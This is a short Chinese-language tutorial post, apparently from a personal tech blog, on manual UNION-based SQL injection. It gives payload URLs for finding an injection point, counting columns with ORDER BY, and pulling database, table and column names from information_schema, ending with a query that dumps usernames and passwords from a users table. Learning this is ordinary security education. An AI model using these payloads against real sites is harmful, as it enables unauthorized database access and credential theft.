SQL注入基础
判断注入点
在其可能注入到sql语句中的参数进行添加一个'
示例:?id=1,即存在可能进行数据库查询id为1的数据
当id值为1'时,sql语句存在语法错误,数据库会报错导致后端异常响应
判断其存在注入点后,进行类型判断
注入类型判断
利用sql语法特性判断是字符型还是数字型
示例:?id=1,如果?id=1/0如果为数字型即是除零异常,如果为字符型即正常显示。
通过类型判断决定后续的sql拼接
判断列数
通过order by 关键字对指定列数进行排序,当指定列数x存在,并且x+1不存在时(x+1不存在时会出现索引错误,即数据库error),可以确定当前表内有x列。
示例:?id=1,即?id=1 order by 11 --。
检查会出现在页面上的数据索引
通过控制数据输出检查哪些索引会出现在页面上或返回数据包中
示例:?id=1/0 union select 1,2,3,4,5...,数据个数与上述检查的列数一致
",".join(list([str(i) for i in range(0,11+1)]))# 打开python交互终端输入这行可以出现:1,2,3,4,5,6,7,8,9,10,11进行数据查询并且将数据传递到页面上
例如,当出现在页面上的数据索引为3时
查询数据库名
?id=1/0 union select 1,2,database(),4,5,6...
通过database()函数获取数据库名字并放在会出现在页面上的位置进行显示
查询数据表
?id=1/0 union select 1,2,group_concat(table_name),4,5,6... from information_schema.tables where table_schema=database()
查询字段
?id=1/0 union select 1,2,group_concat(column_name),4,5,6... from information_schema.columns where table_name="目标表"
查询数据
查询cms数据库内的users表的username字段和password字段
?id=1/0 union select 1,2,group_concat(username,"-",password),4,5,6... from cms.users
文章分享
如果这篇文章对你有帮助,欢迎分享给更多人!
Lirael's Tech Firefly